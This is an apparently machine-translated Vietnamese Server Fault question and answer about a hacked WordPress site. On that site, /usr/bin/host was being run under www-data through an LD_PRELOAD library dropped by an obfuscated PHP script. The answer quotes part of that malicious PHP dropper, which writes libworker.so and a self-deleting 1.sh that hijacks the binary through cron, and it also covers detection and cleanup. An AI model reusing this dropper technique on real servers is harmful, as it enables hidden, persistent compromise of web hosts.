/ usr / bin / host được thực thi bởi tập lệnh PHP bị hack


8

Hôm nay tôi nhận thấy tỷ lệ yêu cầu cao bất thường trên máy chủ web Apache và lưu lượng mạng đến khá cao. Khi kiểm tra trang mod_status của Apache, tôi thấy các URL vi phạm xuất phát từ đường dẫn www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. Và thực sự tôi đã tìm thấy một số tập lệnh PHP bị hack (bị xáo trộn) ở đó.

Cũng nhận thấy quá trình kỳ lạ được thực hiện bởi người dùng dữ liệu www:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

Kiểm tra /proc/7300/cmdlinetiết lộ rằng thực sự đây là /usr/bin/hostnhị phân ban đầu . netstat -anpcho thấy nó có nhiều kết nối HTTP được mở, vì vậy bằng cách nào đó, nhị phân bị lạm dụng. debsumsxác nhận tổng kiểm tra nhị phân là OK. Vì quá trình được chạy dưới người dùng dữ liệu www, tôi không có lý do gì để tin rằng chính máy chủ đã bị xâm phạm.

Làm thế nào là nhị phân bị lạm dụng?

EDIT: Câu hỏi "làm thế nào để đối phó với máy chủ bị xâm nhập" không rộng. Thay vào đó là một câu hỏi (và đã là câu trả lời) về một loại lạm dụng cụ thể được thực hiện như thế nào về mặt kỹ thuật, vì trường hợp cụ thể này khá sáng tạo trong cách thức hoạt động. Có vẻ như điều này đã hoang dã trong vài năm nay (chủ đề & câu hỏi cũ từ năm 2012) và tôi đã gặp nó trong tuần này.


Khi câu hỏi liên quan được đóng lại, tôi mở một câu hỏi mới và trả lời những phát hiện của mình. serverfault.com/questions/554801/
trộm

Câu trả lời:


10

Sau khi đào mã nguồn của các tập lệnh PHP bị xúc phạm và googling ( chủ đề này ), tôi đã tìm thấy một lời giải thích.

Đây là một phần của system.phpmã mà tôi đã tìm thấy:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Làm thế nào /usr/bin/hostcó liên quan là một chút nâng cao. Các chương trình sử dụng các thư viện ( .sotệp) cho một số chức năng của chúng. Người dùng có thể prelink ( LD_PRELOAD) một số tệp .so trước khi khởi chạy một tệp nhị phân hợp pháp để thay đổi cách thức hoạt động của nó.

Như bạn có thể thấy tập lệnh này tạo một tệp libworker.sovà sử dụng LD_PRELOADbiến môi trường để tải trước nó, vì vậy hostnhị phân hợp pháp đang làm một cái gì đó hoàn toàn khác.

Nó tạo ra một 1.shkịch bản shell và cố gắng thực thi nó theo nhiều cách (trực tiếp, sử dụng atlệnh, sử dụng cron). Ngay lập tức sau đó nó loại bỏ tập lệnh và tập tin thư viện khỏi đĩa, vì vậy nó sẽ không được chú ý.

Điều xảy ra ở nơi đầu tiên là một số plugin Wordpress dễ bị tấn công đã bị lạm dụng và kẻ tấn công đã có thể đưa các tệp của họ vào các thư mục word-writabble.

Giảm thiểu có nghĩa là phân tích các tệp nhật ký truy cập cũ cho tên miền đó và cố gắng tìm bất kỳ POSTyêu cầu nào đến các vị trí bất thường - ví dụ: trực tiếp truy cập các tệp PHP của plugin WP / Joomla là không bình thường. Sau đó xóa tất cả các tệp PHP bị che khuất, sửa quyền thư mục, chấm dứt hostcác quy trình đang chạy và theo dõi các tệp nhật ký cho bất kỳ bản sao nào của các bản hack lại.

EDIT: Tôi đã nhận được thông tin từ ESET rằng họ đã phát hiện ra thư viện đặc biệt này và các phiên bản khác. Các công ty chống vi-rút đặt tên là Roopre và có vẻ như nó được sử dụng như một phần của mạng botnet Mayhem .

Phân tích chuyên sâu về botnet Mayhem.

Phân tích chuyên sâu về khai thác này.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.